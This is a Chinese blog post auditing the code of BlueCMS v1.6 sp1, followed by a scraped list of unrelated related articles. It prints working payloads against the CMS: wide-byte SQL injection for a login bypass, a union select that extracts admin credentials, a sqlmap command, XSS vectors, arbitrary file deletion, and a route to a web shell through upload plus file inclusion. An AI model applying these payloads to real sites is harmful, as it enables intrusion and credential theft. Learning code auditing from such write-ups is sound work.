0x00 前言

从今天开始审计一些小的cms,一周内至少审计一种,中间可能会写点别的有趣的东西

0x01

安装好后,看到登陆框,用万能密码打一发,无果,尝试重装,可以重装。有robots.txt

看user.php,跟进

include/common.inc.php

if(!get_magic_quotes_gpc())
 {
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
 }

发现一个过滤规则,这里先记一下,特定情况下绕过方法还是不少

有一个点记下

  $sql = "INSERT INTO ".table('user')." (user_id,user_name,pwd,email,reg_time) VALUES ('','$username',md5('$password'),'$email','$timestamp')";

这里没看到过滤,直觉有点问题,继续看login.php,里面就是常规验证

require_once(dirname(__FILE__) . '/include/common.inc.php');

跟进,

 require_once(BLUE_ROOT."data/config.php");
 require_once(BLUE_ROOT."include/cache.fun.php");
 require_once(BLUE_ROOT."include/common.fun.php");
 require_once(BLUE_ROOT."include/cat.fun.php");
 require_once(BLUE_ROOT."include/user.fun.php");
 require_once(BLUE_ROOT."include/page.class.php");
 require_once(dirname(__FILE__)."/common.fun.php");



config.php看到了

define('BLUE_CHARSET','gb2312');

想到宽字节,记一下

common.php中

htmlspecialchars

过滤了XSS

0x02 SQL注入漏洞

通读了一遍代码后简单黑盒测试了一下,先用Seay审计一下

我们从注册开始看吧:

问题代码处:

正如开头直觉,这里邮箱处果然有问题:

这里邮箱没有任何过滤,直接INSERT INTO插入

这里我们bp主要是绕过前端检测

我们这里同样存在sql注入漏洞,宽字节:

邮箱处:

%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

可以看到回显在数据库处

注册处到此结束

我们看登陆处:

问题代码:

这里是登陆验证代码:

根据前面变量进入check_admin函数前已被转义一次,无论MAGIC魔术棒是否开启

include/common.inc.php

if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

但问题出在这句上

看到gbk,想到宽字节,万能密码再打一次;

登陆

user_name=admin777%d5%27%20or%201%3d1%23&pwd=123&x=35&y=18

登陆成功

这里的化sqlmap应该也可以

python2 sqlmap.py -u "http://xxxx?id=1" --tamper unmagicquotes --dbs --hex

使用16进制绕过单引号过滤

我们这里再来看一个SQL注入:

IP

看代码:

这里没看到对ip进行处理,跟进getip

找到了定义的函数,这里有一个getenv,实际上就是获取系统的环境变量。

第一个HTTP_CLIENT_IP这个环境变量没有成标准,很多服务器完全没法获取。

第二个X-Forwarded-For这个东西可以通过HTTP请求头来修改。

控制请求头中的X-Forwarded-For控制ip的传参,ip的传参会直接被拼凑到SQL语句

继续跟进

找到这么一行,

$online_ip=getip();

全局搜索:

guest_book文件中发现

一个评论功能,依旧是没有任何过滤,我们尝试对这个页面进行注入:

回到留言页面可以看到数据库名出现了

再来看一个SQL注入

数值型注入

缺陷文件:ad_js.php

分析一下:

首先ad_is我们可控,全局搜索后没看到对他的过滤!直接被拼接到了数据库中执行sql语句,根目录下其他文件都做了很好的过滤,对数字型变量几乎都用了intval()做限制,唯独漏了这个文件,居然只是用了trim()去除头尾空格。。

而且插入SQL语句时没用单引号,这就使我们可以直接注入了。

payload:

ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1

得到管理员账号密码

这里再列举几个相同原因造成sql注入,都是我们可以控制的变量直接拼接到sql语句

我是先全局搜索一下,看看他到这里拼接过来有没有在其他地方被过滤。

/admin/attachment.php

      $sql = "DELETE FROM ".table('attachment')." WHERE att_id =
".$_GET['att_id'];

$att_id直接接在后面,存在SQL注入漏洞

/admin/nav.php

$sql = "select * from ".table('navigate')." where navid =
".$_GET['navid'];       $nav = $db->getone($sql);       $smarty->assign('nav',$nav);       $smarty->assign('act', $act   );       $smarty->display('nav_info.htm');

$_GET['navid']直接接在后面,存在SQL注入漏洞

/admin/ad.php

$sql = "DELETE FROM ".table('ad')." WHERE ad_id = ".$ad_id;

$ad_id直接接在后面,存在SQL注入漏洞

0x03 XSS

第一个XSS

我们从注册开始看吧:

问题代码处:

正如开头直觉,这里邮箱处果然有问题:XSS

这里邮箱没有任何过滤,直接INSERT INTO插入

这里是一个存储型XSS

这里我们bp主要是绕过前端检测

第二个XSS

user.php:

问题代码处:

$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';

这里是一个评论功能,内容经过了filter_data函数过滤,我们追踪这个函数:

function filter_data($str)


{       $str = preg_replace("/<(?)(script|i?frame|meta|link)(*)[^<]*>/",
"", $str);       return $str; }

可以看到他仅仅只用了一个正则匹配过滤,那么我们绕过方法太多了:

抓包绕过前端检测:

payload:

<ScRipT>alert("XSS");</ScRipT>
<p><img src=1 onerror=alert(1)></p>

0x04任意文件删除:

问题代码处:

user.php:

if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){

                  @unlink(BLUE_ROOT.$_POST['face_pic3']);

函数:

这里就是POST传入一个文件判断,变量可控,输入的任意存在文件就删除。

类似的:

/admin/flash.php

第62-63行存在未过滤变量$_POST['image_path2'],导致任意文件删除漏洞

if(file_exists(BLUE_ROOT.$_POST['image_path2'])){

                  @unlink(BLUE_ROOT.$_POST['image_path2']);

            }

还有很多就不列举了

0x05 文件上传漏洞和文件包含漏洞getshell

在/user.php第750行:

elseif ($act == 'pay'){

      include 'data/pay.cache.php';

      $price = $_POST['price'];

      $id = $_POST['id'];

      $name = $_POST['name'];

      if (empty($_POST['pay'])) {

            showmsg('???????????????????');

      }

      include 'include/payment/'.$_POST['pay']."/index.php";

 }

变量$_POST['pay']拼接到include函数中,且只有开头包含文件的转义过滤处理,我们可以使用0x00或文件长度截断方式进行过滤,本次审计的环境是PHP5.2.17,如果环境为5.4以上那么上述两种方法无效,不存在任意文件包含漏洞,但是为了更好理解漏洞,我还是将环境设为5.3以下

这里我已经黑盒测试过成功上传图片马,我们看下上传处代码:

upload.calss.php:

function img_upload($file, $dir = '', $imgname = ''){

       if(empty($dir)){

             $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";

       }else{

             $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";

       }

            if(!in_array($file['type'],$this->allow_image_type)){

             echo '<font style="color:red;">?????????????</font>';

                  exit;

       }

            if(empty($imgname)){

             $imgname =
$this->create_tempname().'.'.$this->get_type($file['name']);        }        if(!file_exists($dir)){              if(!mkdir($dir)){                    echo '<font
style="color:red;">????????§Õ????????</font>';                         exit;              }        }        $imgname = $dir . $imgname;

该文件对上传文件进行文件类型和文件名的白名单检测,但是没有对文件内容进行检查,所以我们能轻易上传一个图片马

之后我们去包含就行了

这里看到我们包含成功

0x06 总结

花了三天,这个cms基本审的差不多了,这也和自己一开始的目的相同,对于我这种初学者来说一开始并不能执着复现这个漏洞,而是要在审计过程中思考这个漏洞是怎么审计出来的,审计思路是最重要的。别人审计好的跟着复现一遍感觉就和抄作业一样。。有作用,但用处不大。

我也不知道这样先读cms源码再审计对不对,先姑且试着吧。

再来说一下下一个cms怎么审计:

1:首先不能盲目,记住Web漏洞的本质:存在用户的输入

应重点关注有输入点的页面,再去文件里找相关代码,不断回溯看看代码中有没有可控变量,过滤是否严谨。

2:可以全局搜索一下危险函数,如:unlink,include,move_uploaded_file函数等

查找相关漏洞可以去找关键字,如sql注入:

全局搜索一下SELECT、UPDATE、INSERT、DELETE等关键字

看看是否有预编译后再插入数据库。

比如上传,可以搜索一下upload,看看他的过滤规则。

多总结,多反思,先审计完再看网上文章,看看别的师傅怎么审计的,不断借鉴。

2020/2/13 bluecmsv1.6sp1代码审计的更多相关文章

  1. 利用预编译解决C/C++重复定义的错误 -2020.09.13

    利用预编译解决C/C++重复定义的错误 -2020.09.13 我们现在有main.c和function.h两个文件 main.c #include <stdio.h> #include ...

  2. [Python]爬取首都之窗百姓信件网址id python 2020.2.13

    经人提醒忘记发网址id的爬取过程了, http://www.beijing.gov.cn/hudong/hdjl/com.web.consult.consultDetail.flow?original ...

  3. Learn from Niu 2020.1.13

    观念: 1. 把可视化的东西拾起来, 毕竟是做那个出身的. 2. 可视化里面时序数据,时空数据一直都是非常重要的. 3. know your data永远是最重要的一步, 我想更好的方式是,数据驱动, ...

  4. [每日一题2020.06.13]leetcode #739 #15 单调栈 双指针查找

    739 每日温度 ( 单调栈 ) 题目 : https://leetcode-cn.com/problems/daily-temperatures/ 题意 : 找到数组每一个元素之后第一个大于它的元素 ...

  5. java代码审计文章集合

    0x00 前言 java代码审计相关文章整理,持续更新. 0x01 java环境基础 搭建Java Web开发环境   配置IDEA编辑器开发java web,从0创建项目   IDEA动态调试   ...

  6. 2020年AI、CV、NLP顶会最全时间表

    2020年AI.CV.NLP顶会最全时间表 2019-09-01 14:04:19 weixin_38753768 阅读数 40   2020 AI.CV.NLP主流会议时间表,包含会议举办的时间.地 ...

  7. OpenGL学习日志(2020.4之前)

    咳咳,原本这个日志是本机上随便写的一些记录,也没怎么注意可读性和格式,有用信息密度很小,所以实用价值并不大.暂时由于不可抗因素得先鸽一段落了... 后续的日志会升格为模块化的学习记录,(应该)将会有很 ...

  8. Java 9天入门(黑马程序员) 课程收尾 ------学生管理系统 (9.13)

    1 实现功能 2 结构概述 分为两个包,各自一个类 Student.java 为学生类,目的是储存学生信息 StudentManager.java 是主程序的代码 3 Student.java 的代码 ...

  9. 【补题记录】ZJU-ICPC Summer Training 2020 部分补题记录

    补题地址:https://zjusummer.contest.codeforces.com/ Contents ZJU-ICPC Summer 2020 Contest 1 by Group A Pr ...

随机推荐

  1. P1068 万绿丛中一点红

    P1068 万绿丛中一点红 转跳点:

  2. 解题报告:luogu P3853 [TJOI2007]路标设置

    题目链接:P3853 [TJOI2007]路标设置 是个水二分,那你还\(WA\).很简单,就是练了练和早上那题相似的题. 二分答案即可,复杂度\(O(Nlogl)\),可以通过本题. 不过,需要注意 ...

  3. 使用vue框架开发前端项目的步骤

    前端项目的开发 1. 本地安装nodejs https://nodejs.org/en/download/ 2. 测试安装 > node -v 3. 本地安装git > git --ver ...

  4. uboot源码分析1-启动第一阶段

    1.不简单的头文件包含 #include <config.h>:这个文件的内容其实是包含了一个头文件:#include <configs/x210_sd.h>". # ...

  5. IDEA中利用MAVEN制作和打包普通可执行应用(非SprintBoot的WEB应用)

    我使用IDEA也就半年,开发中常常会遇到一些问题,例如用IDEA编写普通的可执行程序: 之前使用Eclipse编写一个可执行的JAVA程序,然后导出打包,非常方便: 但是我呢,想在 IDEA 中用Ma ...

  6. 洛谷P1000 超级玛丽游戏(洛谷新手村1-1-1)

    题目背景 本题是洛谷的试机题目,可以帮助了解洛谷的使用. 建议完成本题目后继续尝试P1001.P1008. 题目描述 超级玛丽是一个非常经典的游戏.请你用字符画的形式输出超级玛丽中的一个场景. *** ...

  7. flower——知识总结

    创建主外键关联的话,外键表的外键字段一定要与主键表的主键字段相一致,包括字段类型,字段长度,字段符号等等 inverse="true" 将控制权交给对方,在一对多的关系中,一端控制 ...

  8. Day 26:Dom4j修改xml

    Dom4j:Writing a document to a file import java.io.File; import java.io.FileOutputStream; import org. ...

  9. Spring入门之三-------SpringIoC之Scopes

    一.singleton和prototype public class Bean1 { public Bean1() { System.out.println(this.getClass().getSi ...

  10. CentOS7基于http方式搭建本地yum源

    1.创建yum软件保存目录[root@localhost ~]# mkdir -p /www/share/yum 2. 修改yum配置文件先备份yum配置文件,修改yum配置文件中yum软件包保存目录 ...